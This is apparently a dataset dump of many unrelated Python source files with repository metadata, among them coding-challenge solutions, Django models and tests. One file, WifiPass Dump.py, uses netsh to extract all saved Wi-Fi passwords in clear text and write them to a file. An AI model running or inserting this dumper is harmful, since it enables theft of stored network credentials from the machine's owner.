# kombiniert beides zu einem BandNamen - super cool
print("Welcome to BandName 2003!")
cityName = input("Insert your city:\n")
petName = input("Nice! Now insert your pet name\n")
print("Woho! Your new bandname is " + cityName + " " + petName)
print("K... | 37.333333 | 65 | 0.729167 |
b040727592301ddd70b0cc95741787fd9513c1fb | 1,168 | py | Python | comp/twosigma/LongestChain/LongestChain_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | comp/twosigma/LongestChain/LongestChain_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | comp/twosigma/LongestChain/LongestChain_001.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | def longestChain(words):
if words == []:
return 0
lendict = {}
lenlist = []
# build the dictory where
# the key is the length of a word,
# and the value is the set of words with the length
for word in words:
l = len(word)
if len(word) in lendict:
lendict[... | 28.487805 | 62 | 0.458904 |
b0633ff43f6816fbb10acc7a8677c96817bcf852 | 1,263 | py | Python | event_detector/gttm/nlp/vectorize.py | MahdiFarnaghi/gtm | adbec372786262607291f901a444a0ebe9e98b48 | [
"Apache-2.0"
] | null | null | null | event_detector/gttm/nlp/vectorize.py | MahdiFarnaghi/gtm | adbec372786262607291f901a444a0ebe9e98b48 | [
"Apache-2.0"
] | null | null | null | event_detector/gttm/nlp/vectorize.py | MahdiFarnaghi/gtm | adbec372786262607291f901a444a0ebe9e98b48 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import os
import sys
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
from datetime import datetime, timedelta
import requests
import tempfile
from pathlib import Path
import traceback
import fasttext
import fasttext.util
from dotenv import load_dotenv
load... | 26.87234 | 95 | 0.679335 |
af7c0c2bdcf97cfece28a6d925a6048c26e323d9 | 1,035 | py | Python | Algorithms/2_Implementation/38.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | 1 | 2021-11-25T13:39:30.000Z | 2021-11-25T13:39:30.000Z | Algorithms/2_Implementation/38.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | null | null | null | Algorithms/2_Implementation/38.py | abphilip-codes/Hackerrank_DSA | bb9e233d9d45c5b14c138830602695ad4113fba4 | [
"MIT"
] | null | null | null | # https://www.hackerrank.com/challenges/library-fine/problem
#!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'libraryFine' function below.
#
# The function is expected to return an INTEGER.
# The function accepts following parameters:
# 1. INTEGER d1
# 2. INTEGER m1
# 3. I... | 20.294118 | 60 | 0.66087 |
a5347ccd9889f01e38b87dc864c49e28a07bdacc | 478 | py | Python | pacman-termux/test/pacman/tests/fileconflict004.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/fileconflict004.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/fileconflict004.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "dir->symlink change during package upgrade (no conflict)"
p1 = pmpkg("pkg1", "1.0-1")
p1.files = ["test/",
"test/file"]
self.addpkg2db("local", p1)
p2 = pmpkg("pkg1", "2.0-1")
p2.files = ["test2/",
"test2/file2",
"test -> test2"]
self.addpkg2db("sync", p2)
self... | 23.9 | 77 | 0.623431 |
a59afda7a0fc60ea041c446724ab45a6220ecbfe | 155 | py | Python | riqc/__init__.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | riqc/__init__.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | riqc/__init__.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Top-level package for rIQC."""
__author__ = """Kjong Lehmann"""
__email__ = 'kjong.lehmann@inf.ethz.ch'
__version__ = '0.2.0'
| 19.375 | 39 | 0.632258 |
3c194a62e684fe9c73e7926f188e22de87fee5fe | 2,908 | py | Python | src/onegov/org/redirects.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/redirects.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/redirects.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.org import OrgApp
from onegov.core.redirect import Redirect
@OrgApp.path(path='/benutzerverwaltung')
class BenutzerverwaltungRedirect(Redirect):
to = '/usermanagement'
@OrgApp.path(path='/themen', absorb=True)
class ThemenRedirect(Redirect):
to = '/topics'
@OrgApp.path(path='/aktuelles', absor... | 20.335664 | 59 | 0.717675 |
592e1fd61c27c346759b8238f9e2779abe73562a | 5,927 | py | Python | ryu/app/otherApp/server.py | yuesir137/SDN-CLB | 58b12a9412cffdf2945440528b1885c8899edd08 | [
"Apache-2.0"
] | null | null | null | ryu/app/otherApp/server.py | yuesir137/SDN-CLB | 58b12a9412cffdf2945440528b1885c8899edd08 | [
"Apache-2.0"
] | null | null | null | ryu/app/otherApp/server.py | yuesir137/SDN-CLB | 58b12a9412cffdf2945440528b1885c8899edd08 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import logging
import contextlib
import json
import os
import threading
import time
import traceback
from ryu.lib import hub
from ryu.lib.hub import StreamServer
logging.basicConfig()
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
ResultFolder= 'Result/'+ti... | 26.698198 | 155 | 0.620381 |
596888f712196a99e6d7d9781ea7324d25f96b3e | 14,468 | py | Python | tests/utils.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | tests/utils.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | tests/utils.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | import re
from urllib.parse import parse_qs, urlsplit
import googlemaps
from bs4 import BeautifulSoup
from flask import g, url_for
from sqlalchemy.exc import IntegrityError
class UtilActions(object):
def __init__(self, client, app, mocker):
self._client = client
self._app = app
self._mock... | 32.222717 | 86 | 0.611626 |
abb08b442f09f7bf4cfb96474e67bf0b245f9f5b | 3,236 | py | Python | main.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | main.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | main.py | mkrum/das | 76559ffa3055d718590e9c457675cdf9a885f656 | [
"MIT"
] | null | null | null | import pickle as pkl
from dataclasses import dataclass
import torch
import numpy as np
from torch.utils.data import Dataset
from torch.utils.data import DataLoader
import torch.optim as optim
import torch.nn.functional as F
from data import make_binary_datasets
from mllg import LogWriter, TestInfo, TrainInfo, Validat... | 28.637168 | 85 | 0.615266 |
abfacb0ee26b4cd338d8631e527e842de8ce0e4b | 1,056 | py | Python | python/oneflow/utils/vision/datasets/__init__.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 3,285 | 2020-07-31T05:51:22.000Z | 2022-03-31T15:20:16.000Z | python/oneflow/utils/vision/datasets/__init__.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 2,417 | 2020-07-31T06:28:58.000Z | 2022-03-31T23:04:14.000Z | python/oneflow/utils/vision/datasets/__init__.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 520 | 2020-07-31T05:52:42.000Z | 2022-03-29T02:38:11.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 29.333333 | 72 | 0.750947 |
058428c56d793f9d533729745abcd6e297e4c7fc | 436 | py | Python | talks/2021-01-19_auto_docs/docstring_example.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | null | null | null | talks/2021-01-19_auto_docs/docstring_example.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-02-11T23:44:52.000Z | 2021-02-11T23:44:52.000Z | talks/2021-01-19_auto_docs/docstring_example.py | stanton119/data-analysis | b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9 | [
"Apache-2.0"
] | 1 | 2021-12-16T01:02:23.000Z | 2021-12-16T01:02:23.000Z | import pandas as pd
def process_ds(x: pd.DataFrame) -> pd.DataFrame:
"""
Does something useful to `x`.
Args:
x (pd.DataFrame): input dataframe
Returns:
pd.DataFrame: output dataframe
"""
y = pd.concat([x, x])
return y
def autodocstring(x: pd.DataFrame, n: int = 2) -> pd... | 16.148148 | 63 | 0.577982 |
05997eb8a0bae76cb2a4c00e1b8013f1326e3747 | 217 | py | Python | Kapitel_2/_1_staticmethods.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | 1 | 2020-12-24T15:42:54.000Z | 2020-12-24T15:42:54.000Z | Kapitel_2/_1_staticmethods.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | Kapitel_2/_1_staticmethods.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | # --- Deklaration einer Klasse mit einer Staticmethod --- #
class PC:
@staticmethod
def add_2_to_3():
return 3+2
# --- Aufruf der Staticmethod, keine Argumente erforderlich ---#
print(PC.add_2_to_3()) | 27.125 | 64 | 0.672811 |
5556220103aabe2dbac1be606abe54ddf35619e4 | 4,080 | py | Python | src/mycms/models.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | src/mycms/models.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | src/mycms/models.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | # coding=utf-8
# -*- coding:utf8 -*-
from __future__ import unicode_literals
from django.db import models
from django.contrib.auth import models as auth_models
# Create your models here.
class MyBaseModel(models.Model):
create_time = models.DateTimeField(auto_now=True)
update_time = models.DateTimeField(aut... | 39.61165 | 114 | 0.68652 |
5566a7fff00735b19f880854aa321edfa816a16f | 1,809 | py | Python | Scholien/migrations/0003_auto_20170510_0046.py | wmles/scholarium.at | d2356b3e475df772382e035ddcb839fc7dae4305 | [
"MIT"
] | 1 | 2017-07-24T10:19:36.000Z | 2017-07-24T10:19:36.000Z | Scholien/migrations/0003_auto_20170510_0046.py | wmles/scholarium.at | d2356b3e475df772382e035ddcb839fc7dae4305 | [
"MIT"
] | 9 | 2017-07-26T14:16:08.000Z | 2022-03-11T23:14:40.000Z | Scholien/migrations/0003_auto_20170510_0046.py | wmles/scholarium.at | d2356b3e475df772382e035ddcb839fc7dae4305 | [
"MIT"
] | 1 | 2017-03-07T12:38:23.000Z | 2017-03-07T12:38:23.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9.11 on 2017-05-09 22:46
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Scholien', '0002_buechlein_arten_dicts'),
]
operations = [
migrations.Remov... | 30.15 | 66 | 0.569928 |
5595ecc2ef6332adbad7db921dec5784d3c2dac5 | 6,591 | py | Python | GeniNacTrigger/Service/engine/__init__.py | HyechurnJang/genaci | aac26c8b59a5d8b3884aa6f588f40f2e741c1cc3 | [
"Apache-2.0"
] | null | null | null | GeniNacTrigger/Service/engine/__init__.py | HyechurnJang/genaci | aac26c8b59a5d8b3884aa6f588f40f2e741c1cc3 | [
"Apache-2.0"
] | null | null | null | GeniNacTrigger/Service/engine/__init__.py | HyechurnJang/genaci | aac26c8b59a5d8b3884aa6f588f40f2e741c1cc3 | [
"Apache-2.0"
] | null | null | null |
import os
import re
import sys
import json
import socket
from jzlib import setGlobals
from pygics import rest
from .aci import ACI
from .genian import Genian
class __GENACI__:
TARGET_EPG_LIST = []
STATUS = 'stopped'
HOSTNAME = socket.gethostname()
class APIC:
HANDLE = None
ST... | 37.448864 | 132 | 0.581854 |
e98aeb1dadfcc5adfbddbf2364c7558edda1341e | 7,934 | py | Python | scratch/lsp.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | scratch/lsp.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | scratch/lsp.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | # lsp.py - Language Server Protocol data structures and support functions
#
# Copyright 20w0 by Eckhart Arnold (arnold@badw.de)
# Bavarian Academy of Sciences an Humanities (badw.de)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance wit... | 39.472637 | 97 | 0.619612 |
dda58c4aa20c135ea241a307ef9554030a4e8525 | 4,121 | py | Python | projects/g4h2-graduation-project/src/backends/scf_functions/handler_upload_img_to_cos.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g4h2-graduation-project/src/backends/scf_functions/handler_upload_img_to_cos.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g4h2-graduation-project/src/backends/scf_functions/handler_upload_img_to_cos.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | import base64
import binascii
import logging
import sys
import uuid
from typing import Any, AnyStr, Dict, Optional
from conf import settings
from utils.exceptions import exception_handler, HttpException, BadRequest, RequestEntityTooLarge, InternalServerError
from utils.request import parse_body
from utils.re... | 30.301471 | 118 | 0.623635 |
9b691674661d4aee6a97716f489f01630c573778 | 7,333 | py | Python | generate-libs.py | MartinBoehmer/Taktische-Zeichen-drawio | 1f77501d2b405281b8b091b859d95dfcfca7aa1e | [
"Apache-2.0"
] | 22 | 2017-04-20T08:10:38.000Z | 2022-03-15T01:08:52.000Z | generate-libs.py | MartinBoehmer/Taktische-Zeichen-drawio | 1f77501d2b405281b8b091b859d95dfcfca7aa1e | [
"Apache-2.0"
] | 7 | 2017-03-19T15:13:34.000Z | 2020-02-02T22:07:48.000Z | generate-libs.py | MartinBoehmer/Taktische-Zeichen-drawio | 1f77501d2b405281b8b091b859d95dfcfca7aa1e | [
"Apache-2.0"
] | 8 | 2017-04-05T11:03:53.000Z | 2022-01-31T15:31:15.000Z | #!/usr/bin/python
##
#
# Copyright 2017 Martin Böhmer
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License.
# You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | 41.429379 | 208 | 0.732715 |
9b70d0650ab275c30aa44fd3e777c5fbb34ed19d | 1,497 | py | Python | ProjectEuler_plus/euler_074.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_074.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_074.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from math import factorial
def e74():
fs = [factorial(i) for i in range(0, 10)]
# print(fs)
limit = 1000000
chain = [0] * (limit + 1)
for i in range(limit + 1):
if chain[i] != 0:
continue
num = i
temp = [num]
while True:
... | 31.851064 | 71 | 0.429526 |
1f255769e1d659b0bd708c8f152c38d83f8399dc | 4,500 | py | Python | skripte/python/edit_tools/abgleich_teilwoerter.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
] | null | null | null | skripte/python/edit_tools/abgleich_teilwoerter.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
] | null | null | null | skripte/python/edit_tools/abgleich_teilwoerter.py | hyphenation/languages-german | 4330a0b1254e88615cb4c83e4b3dc2f0810c76d9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf8 -*-
# :Copyright: © 2014 Günter Milde.
# Released without warranty under the terms of the
# GNU General Public License (v. 2 or later)
# :Id: $Id: $
# Abgleich der Trennstellen zwischen Teilwoertern
# ===============================================
#
# ... | 31.468531 | 83 | 0.636222 |
2f3c3a75294b0e11557949e1260f62c2d852324d | 527 | py | Python | tests/test_cli.py | pawamoy/unminder | ef996ab81b15c04625cc162720e0e61d7ed3e25e | [
"0BSD"
] | null | null | null | tests/test_cli.py | pawamoy/unminder | ef996ab81b15c04625cc162720e0e61d7ed3e25e | [
"0BSD"
] | null | null | null | tests/test_cli.py | pawamoy/unminder | ef996ab81b15c04625cc162720e0e61d7ed3e25e | [
"0BSD"
] | null | null | null | """Tests for the `cli` module."""
import pytest
from unminder import cli
def test_show_queue_help(capsys):
"""Shows help."""
with pytest.raises(SystemExit):
cli.queue(["-h"])
captured = capsys.readouterr()
assert "queue" in captured.out
def test_show_help(capsys):
"""
Shows help.
... | 19.518519 | 49 | 0.633776 |
9e2d37e23018c20caa6327ad772f4e1d669f7936 | 67 | py | Python | Scripts/hello_world_akd.py | kenanchristian/hacktoberfest | b55750bf4facb77abd532b66ed37101e2895c4d7 | [
"MIT"
] | 8 | 2020-10-26T06:51:06.000Z | 2021-04-02T13:01:27.000Z | Scripts/hello_world_akd.py | kenanchristian/hacktoberfest | b55750bf4facb77abd532b66ed37101e2895c4d7 | [
"MIT"
] | 71 | 2020-10-25T22:46:02.000Z | 2021-10-14T06:47:39.000Z | Scripts/hello_world_akd.py | kenanchristian/hacktoberfest | b55750bf4facb77abd532b66ed37101e2895c4d7 | [
"MIT"
] | 77 | 2020-10-24T01:53:46.000Z | 2021-10-01T06:25:27.000Z | # Python
def hello_world():
print("Hello World")
hello_world() | 13.4 | 24 | 0.686567 |
c8e11f72d3f602479dd6bcd8972274d0c8250ed5 | 3,193 | py | Python | translate_sentences.py | NickForero11/Subbler | ed528514e96ddc30d58230ff98ff0fd5216ea5de | [
"MIT"
] | null | null | null | translate_sentences.py | NickForero11/Subbler | ed528514e96ddc30d58230ff98ff0fd5216ea5de | [
"MIT"
] | null | null | null | translate_sentences.py | NickForero11/Subbler | ed528514e96ddc30d58230ff98ff0fd5216ea5de | [
"MIT"
] | null | null | null | """Module that handles the translation of subtitles data to a specific
language.
"""
from json import dumps
from requests import post
from requests.exceptions import RequestException
from sys import exit
from time import sleep
def check_translation(s3key):
"""Check if the translation proccess is completed verifyi... | 30.409524 | 79 | 0.642656 |
cdce5302665af4ba918e44c22233cbcb3643bdbf | 4,355 | py | Python | OMIMgeneMap/OMIMExParseGeneMap.py | ecarl-glitch/LeukoDB | 57c39d431430fae9def5109b4d6aa457ef1a25cf | [
"MIT"
] | null | null | null | OMIMgeneMap/OMIMExParseGeneMap.py | ecarl-glitch/LeukoDB | 57c39d431430fae9def5109b4d6aa457ef1a25cf | [
"MIT"
] | null | null | null | OMIMgeneMap/OMIMExParseGeneMap.py | ecarl-glitch/LeukoDB | 57c39d431430fae9def5109b4d6aa457ef1a25cf | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# The purpose of this file is to parse gene map file downloaded from OMIM for OMIM IDs from LeukoDisease
# csv file
# Input is list of OMIM IDs and gene map file
# Output is csv of gene names, another with gene locations, and gene and phenotype information
inputfileOMIM = op... | 34.563492 | 198 | 0.620436 |
a82547cb23d0e04f33c4539ea600ff3c0d4ac5dc | 2,687 | py | Python | ProjectLib/Project.py | jvollhueter/pyMANGA-1 | 414204a394d44405225b4b8224b19464c1006f1d | [
"MIT"
] | null | null | null | ProjectLib/Project.py | jvollhueter/pyMANGA-1 | 414204a394d44405225b4b8224b19464c1006f1d | [
"MIT"
] | null | null | null | ProjectLib/Project.py | jvollhueter/pyMANGA-1 | 414204a394d44405225b4b8224b19464c1006f1d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@date: 2018-Today
@author: jasper.bathmann@ufz.de
"""
from TreeModelLib import AbovegroundCompetition
from TreeModelLib import BelowgroundCompetition
from TreeModelLib import GrowthAndDeathDynamics
from VisualizationLib import Visualization
from TreeOutputLib import T... | 30.191011 | 77 | 0.717901 |
a94d75b5d901ce13f942679ba464bdeceb847e51 | 56 | py | Python | python/python_backup/PRAC_PYTHON/pot.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/python_backup/PRAC_PYTHON/pot.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/python_backup/PRAC_PYTHON/pot.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | s=5
for i in range(1,11,1):
s=5+(10*i)
print s
| 9.333333 | 24 | 0.5 |
8bac5f2d2a13d679499c798db09500d95ac41c67 | 718 | py | Python | WifiPass-master/Dump.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | WifiPass-master/Dump.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | WifiPass-master/Dump.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | #It will save passwords to txt file named "clear.txt"
#Author:D4Vinci
import os, re
#Get all saved wifi networks names
def get_wlans():
data = os.popen("netsh wlan show profiles").read()
wifi = re.compile("All User Profile\s*:.(.*)")
return wifi.findall(data)
#Get a password for a network
def get_pass(net... | 29.916667 | 101 | 0.615599 |
479a862ac3eb677e2f1996cf9d7330d8fe96c78a | 887 | py | Python | test/test_main.py | gergelyszaz/SandboxVN | b6855d1c952df66296e8fb3af42c2f8b46908a07 | [
"MIT"
] | null | null | null | test/test_main.py | gergelyszaz/SandboxVN | b6855d1c952df66296e8fb3af42c2f8b46908a07 | [
"MIT"
] | 1 | 2022-03-22T23:50:32.000Z | 2022-03-22T23:50:32.000Z | test/test_main.py | gergelyszaz/SandboxVN | b6855d1c952df66296e8fb3af42c2f8b46908a07 | [
"MIT"
] | null | null | null | import unittest
from sandbox.character.character import Character
from sandbox.character.character_impl import CharacterImpl
from sandbox.character.habit import Habit
from sandbox.schedule.calendarevent import CalendarEvent
from sandbox.schedule.schedule import Schedule
from sandbox.world.world import World
from sandb... | 24.638889 | 58 | 0.70124 |
d0019f1a45f375f96cdc64fad1eada2279de900c | 3,268 | py | Python | SBTK_League_Helper/create_tournaments.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | SBTK_League_Helper/create_tournaments.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | SBTK_League_Helper/create_tournaments.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | from src.interfacing.ogs.connect import Authentication
import codecs
import sys
import os
from time import sleep
def loadList(pNameFile):
iList = []
with codecs.open(pNameFile, "r", "utf-8") as f:
for line in f:
iList.append(line)
return iList
if __name__ == "__main__":
a = ... | 32.356436 | 94 | 0.590269 |
4bf4c922f80e1ade0445687f8d14b4333693e96a | 1,662 | py | Python | PINp/2014/MASHAEVA_A_U/task_8_35.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PINp/2014/MASHAEVA_A_U/task_8_35.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PINp/2014/MASHAEVA_A_U/task_8_35.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 8. Вариант 35.
#1-50. Доработайте игру "Анаграммы"
#(см. М.Доусон Программируем на Python. Гл.4) так,
#чтобы к каждому слову полагалась подсказка.
#Игрок должен получать право на подсказку в том
#случае, если у него нет никаких предположений.
#Разработайте систему начисления очков, по которой
#бы игроки, отгад... | 30.777778 | 120 | 0.652226 |
323c83624ab07d1a23a692199df3b384423c92e4 | 16,563 | py | Python | Micropython_ESP8266/Standard_rotated.py | arkahu/Stuff | 6b5955444a4c538ce194764c28389e7043ab5cdd | [
"MIT"
] | null | null | null | Micropython_ESP8266/Standard_rotated.py | arkahu/Stuff | 6b5955444a4c538ce194764c28389e7043ab5cdd | [
"MIT"
] | null | null | null | Micropython_ESP8266/Standard_rotated.py | arkahu/Stuff | 6b5955444a4c538ce194764c28389e7043ab5cdd | [
"MIT"
] | null | null | null | #Fonts from https://www.min.at/prinz/o/software/pixelfont/
#Font name:Standard and rotated once.
#exported as c header and made python compatible
# Font: Standard.pf
fonts = (
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Char 000 (.)
0x7E, 0x81, 0x95, 0xB1, 0xB1, 0x95, 0x81, 0x7E, # Char 001 (.)
0x7E, 0xFF, 0x... | 62.501887 | 63 | 0.614683 |
3241234af5f8ca00fade70f166d5f37d6bacd514 | 1,293 | py | Python | frappe-bench/apps/erpnext/erpnext/shopping_cart/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/shopping_cart/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/shopping_cart/utils.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
import frappe.defaults
from erpnext.shopping_cart.doctype.shopping_cart_settings.shopping_cart_settings import is_cart_enabled
def show_... | 31.536585 | 103 | 0.781903 |
a0f64c0d5bfb3be06fce55f75454bff8bbf63a90 | 3,116 | py | Python | Packs/Campaign/Scripts/GetSendEmailInstances/GetSendEmailInstances_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 2 | 2021-12-06T21:38:24.000Z | 2022-01-13T08:23:36.000Z | Packs/Campaign/Scripts/GetSendEmailInstances/GetSendEmailInstances_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 87 | 2022-02-23T12:10:53.000Z | 2022-03-31T11:29:05.000Z | Packs/Campaign/Scripts/GetSendEmailInstances/GetSendEmailInstances_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 2 | 2022-01-05T15:27:01.000Z | 2022-02-01T19:27:43.000Z | from GetSendEmailInstances import *
INTEGRATION_COMMANDS = [{'name': 'SendMailIntegration', 'commands': [{'name': 'send-mail'}, {'name': 'some-command'}]},
{'name': 'NoMailIntegration', 'commands': [{'name': 'no-mail'}, {'name': 'some-command'}]},
{'name': 'SomeIntegrati... | 37.542169 | 119 | 0.586008 |
